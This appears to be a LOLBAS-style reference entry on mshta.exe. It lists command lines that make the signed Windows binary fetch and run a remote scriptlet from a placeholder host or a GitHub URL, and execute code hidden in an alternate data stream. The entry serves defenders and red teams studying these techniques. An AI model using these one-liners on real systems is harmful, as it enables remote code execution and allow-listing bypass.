38 lines
1.1 KiB
Markdown
38 lines
1.1 KiB
Markdown
## mshta.exe
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* Functions: Execute, Read ADS
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```
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mshta.exe evilfile.hta
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mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
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mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
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mshta "C:\ads\file.txt:file.hta"
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```
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Acknowledgements:
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* Casey Smith - @subtee
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* Oddvar Moe - @oddvarmoe
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Code sample:
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* [Mshta_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Mshta_calc.sct)
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Resources:
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* https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
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* https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
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* https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
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* https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
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* https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
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Full path:
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```
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C:\Windows\System32\mshta.exe
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C:\Windows\SysWOW64\mshta.exe
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```
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Notes:
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SCT code borrowed from Red Canary - Atomic Red Team
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